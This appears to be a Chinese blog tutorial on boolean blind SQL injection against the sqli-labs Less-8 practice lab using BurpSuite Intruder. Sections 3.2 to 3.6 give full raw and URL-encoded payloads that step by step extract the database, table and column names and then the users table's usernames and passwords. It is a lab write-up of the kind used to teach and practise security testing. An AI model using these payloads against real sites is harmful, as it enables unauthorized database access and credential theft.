【SQL注入14】布尔盲注的半自动化实现(基于BurpSuite工具和sqli-labs-less8靶机平台)

1 概述

  1. 当改变浏览器带入给后台SQL的参数后,浏览器没有显示对应内容也没有显示报错信息时,无法使用union联合查询注入与报错注入,这时候可以试试看能否使用布尔注入。
  2. 布尔盲注:一般情况下,当带入参数为真和假时,页面会有不同的反映,比如有无显示也是一种不同,布尔盲注就是根据这种不同来反推我们输入的条件是真还是假。

2 实验简介

2.1 实验平台

  1. 靶机:CentOS7安装docker,利用docker部署sqli-labs来作为实验平台。具体部署过程可以参考文章《Docker上搭建sqli-labs漏洞环境》。
  2. 真实机:为了方便对布尔盲注的爆破,本实验利用BurpSuite来进行注入实验,BurpSuite的安装过程可以参考文章《BurpSuite简介及安装》。
  3. 靶机与真实机桥接到同一局域网中。

2.2 实验目标

  1. 建议先看下该文章,了解BurpSuite爆破的过程和参数的选择《BurpSuite密码爆破
  2. 爆破获取网站后台数据库账号及密码。

3 实验过程

3.1 判断注入点及注入类型

  1. 真实机打开BurpSuite,进入Proxy工具,打开自带浏览器,访问靶机sqli-labs的Less8,打开页面如下。
    在这里插入图片描述
  2. 在浏览器搜索栏URL后面输入参数?id=1,仅有一句you are in没有显示其他具体信息,修改为?id=2,也是同样结果。说明网页没有随id动态显示的内容,所以无法使用union联合查询的注入手法。
    在这里插入图片描述
  3. 修改参数为?id=1',程序运行出错,没有给出错误提示,所以无法使用报错注入的手法。
    在这里插入图片描述
  4. 结合上述步骤2和3,虽然无法使用union联合查询注入和报错注入,但是语句能否成功执行页面会有两种显示状态,语句正常显示you are in,语句错误则是啥也没有,因为可以根据是否显示来逆推语句是否正确执行,可采用布尔盲注的手法。
  5. 为了确定注入数据类型,修改参数为?id=1' and '1'='1,页面显示结果与?id=1一致,由反证法可知注入数据为字符型且为单引号闭合。
    在这里插入图片描述

3.2 爆库名(踩坑)

  1. 在BurpSuite工具的intercept界面开启 intercept is on,重新加载上一步的页面,让BurpSuite获取到请求。修改请求参数为?id=1' and length(database())=10--+将请求右键发送到intruder工具,采用该工具对布尔盲注的参数进行爆破,能较大程度降低手工爆破的工作量。
    在这里插入图片描述
  2. 在intruder工具中,我们将需要爆破的参数用特殊符号括起来,像此处我们需要爆破的是等于库名长度的多少。
    在这里插入图片描述
  3. 切换至payloads界面,为步骤2的爆破对象选择一个待选集合,此处选择0~9即可,因为我们知道一般名字不会太长,如果不行后续再扩大范围也可以。选择后我们点击右上角的start attacks。
    在这里插入图片描述
  4. 出乎意料的是,我们收到的回包都一样,且每个包都表示条件语句为假。
    在这里插入图片描述
  5. 这不禁让我们思考是不是我们构筑语句的问题?当我们在浏览器出入参数?id=1' and length(database())=8 --+是能收到正确回包的,将该请求拦截到BurpSuite,转到repeater模块,点击send,在回包里看不到you are in的字样。
    在这里插入图片描述
  6. 这很是奇怪,会不会是BurpSuite发送请求是不能自动将url进行编码?我们将参数?id=1' and length(database())=8 --+中的空格用其url编码值%20代替,单引号用其url编码值%27代替,即参数为?id=1%27%20and%20length(database())=8%20--+,顺利执行且回包中有you are in。说明是特殊字符转码的问题。(tips:将注入参数复制黏贴到BurpSuite自带浏览器中,回车就能自动编码成我们想要的)
    在这里插入图片描述

3.3 爆库名(成功)

  1. 在intruder模块修改注入语句为?id=1%27%20and%20length(database())=8%20--+,且将其中的8设为爆破对象。
    在这里插入图片描述
  2. 同样的,在payload界面为爆破对象选择字典集合,并点击start attacks。在结果集中我们看到参数8成功爆破。
    在这里插入图片描述
  3. 在intruder模块中,我们构造注入参数?id=1' and substr(database(),1,1)='a' --+,将单引号和空格转码后为?id=1%27%20and%20substr(database(),1,1)=%27a%27%20--+,并将substr()函数的第二位参数和待比较的字母作为爆破对象,并将 attack type 选择为 cluster bomb。(tips:将注入参数复制黏贴到BurpSuite自带浏览器中,回车就能自动编码成我们想要的)
    在这里插入图片描述
  4. 在payload界面,分别为两个爆破对象设置待选集合,因为数据库对大小写不敏感,所以第二个参数待选择集合为26个小写字母。设置后点击start attack。
    在这里插入图片描述
    在这里插入图片描述
  5. 对爆破结果进行排序,得到以下界面,由此可知库名为security。
    在这里插入图片描述

3.4 爆表名

  1. 与爆库名同理,我们先爆表名长度。构造注入参数为?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema =database()))=1--+,将单引号和空格转码后为?id=1%27%20and%20length((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=database()))=1--+,设置数字1为爆破对象。选择attack type 为 sniper。
    在这里插入图片描述
  2. 在payload界面,为爆破对象设置待选集合,由于总表名长度可能会很长,这里先设置了一个从1到100的TXT文件,每个数字为一行,将其选中为爆破对象的待选集合。点击start attack。
    在这里插入图片描述
  3. 对爆破结果进行排序,可以看到所有表名总长度为29。
    在这里插入图片描述
  4. 对总表名长度进行爆破。构造注入参数为?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema =database()),1,1)='a'--+编码为?id=1%27%20and%20substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=database()),1,1)=%27a%27--+,代入到intruder模块中,并为substr()函数的第二个参数与a设置为爆破对象。同时,设置 attack type 为 cluster bomb。
    在这里插入图片描述
  5. 在payload页面,与爆破库名类型,为两个爆破对象设置待选字典。点击start attack。
    在这里插入图片描述
    在这里插入图片描述
  6. 排序后爆破结果如下,这个排序我服了,有点不按套路排序,但是我们依然很快就能发现我们的目标表格名为users。
    在这里插入图片描述

3.5 爆字段名

  1. 与上同理,构造参数参数为?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name ='users'))=0--+,将单引号和空格转码后为?id=1%27%20and%20length((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name%20=%27users%27))=0--+,带入intruder模块,并设置爆破对象和攻击模式。
    在这里插入图片描述
  2. 设置payload参数,老规矩了。
    在这里插入图片描述
  3. 爆破结果显示总字段名长为20。
    在这里插入图片描述
  4. 进一步爆破字段名。修改参数为?id=1' and substr((select group_concat(column_name) from information_schema.columns where table_name ='users'),1,1)='a'--+编码为?id=1%27%20and%20substr((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name%20=%27users%27),1,1)=%27a%27--+,代入intruder中,并设置爆破对象与攻击模式。
    在这里插入图片描述
  5. 设置payload并开始攻击。
    在这里插入图片描述
    在这里插入图片描述
  6. 爆破结果如下,虽然我们看得出来是这三个名字,但是03和13位字符未能在26位小写字母中,是其他特殊符号,这提醒我们以后爆破应该将字符也进来。
    在这里插入图片描述
  7. 将第二个爆破对象待选字典更换成ascii中的字符,再次进行爆破。
    在这里插入图片描述
  8. 爆破结果如下,好家伙,数据库对大小写不敏感的特性又表现出来了。
    在这里插入图片描述

3.6 爆破账号及密码

  1. 为获取所有账号的id username 和 password的总长度,构造参数参数为?id=1' and length((select group_concat(id,':',username,':',password) from users))=0--+,将单引号和空格转码后为?id=1%27%20and%20length((select%20group_concat(id,%27:%27,username,%27:%27,password)%20from%20users))=0--+,带入intruder模块,并设置爆破对象和攻击模式。
    在这里插入图片描述
  2. 考虑到所有的账号密码总长度可能会很大,我们新建一个包含从1-500的TXT文件作为参数如下,点击开始攻击。
    在这里插入图片描述
  3. 爆破结果如下:表示所有的id+username+password总共长218位。
    在这里插入图片描述
  4. 进一步爆破账号密码内容。修改参数为?id=1' and substr((select group_concat(id,':',username,':',password) from users),1,1)='a'--+编码为?id=1%27%20and%20substr((select%20group_concat(id,%27:%27,username,%27:%27,password)%20from%20users),1,1)=%27a%27--+,代入到intruder中,设置爆破对象及攻击方式。
    在这里插入图片描述
  5. 对两个爆破对象设置payload并开始攻击。
    在这里插入图片描述
    在这里插入图片描述
  6. 爆破结果,对此,我们发现该对比方法不能区分大小写,对此,我们尝试用ASCII代替字母来作判断。
    在这里插入图片描述
  7. 修改参数?id=1' and ascii(substr((select group_concat(id,':',username,':',password) from users),1,1))=1--+编码为?id=1%27%20and%20ascii(substr((select%20group_concat(id,%27:%27,username,%27:%27,password)%20from%20users),1,1))=1--+,代替上述代码,设置爆破对象和攻击方式如下。
    在这里插入图片描述
  8. 设置payload如下,并开始爆破。
    在这里插入图片描述
    在这里插入图片描述
  9. 爆破结果如下,这种爆破结果需要我们再将ascii值转为字符。这种方式能很好的区分开大小写字符。
    在这里插入图片描述

3.7 实验结果

实验成功爆破出账号密码。

4 总结

  1. 理解布尔注入的逻辑和原理。
  2. 利用BurpSuite代替人工进行试错以减少工作量。
  3. 爆破时建议使用ascii值来判断以区分大小写。
  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值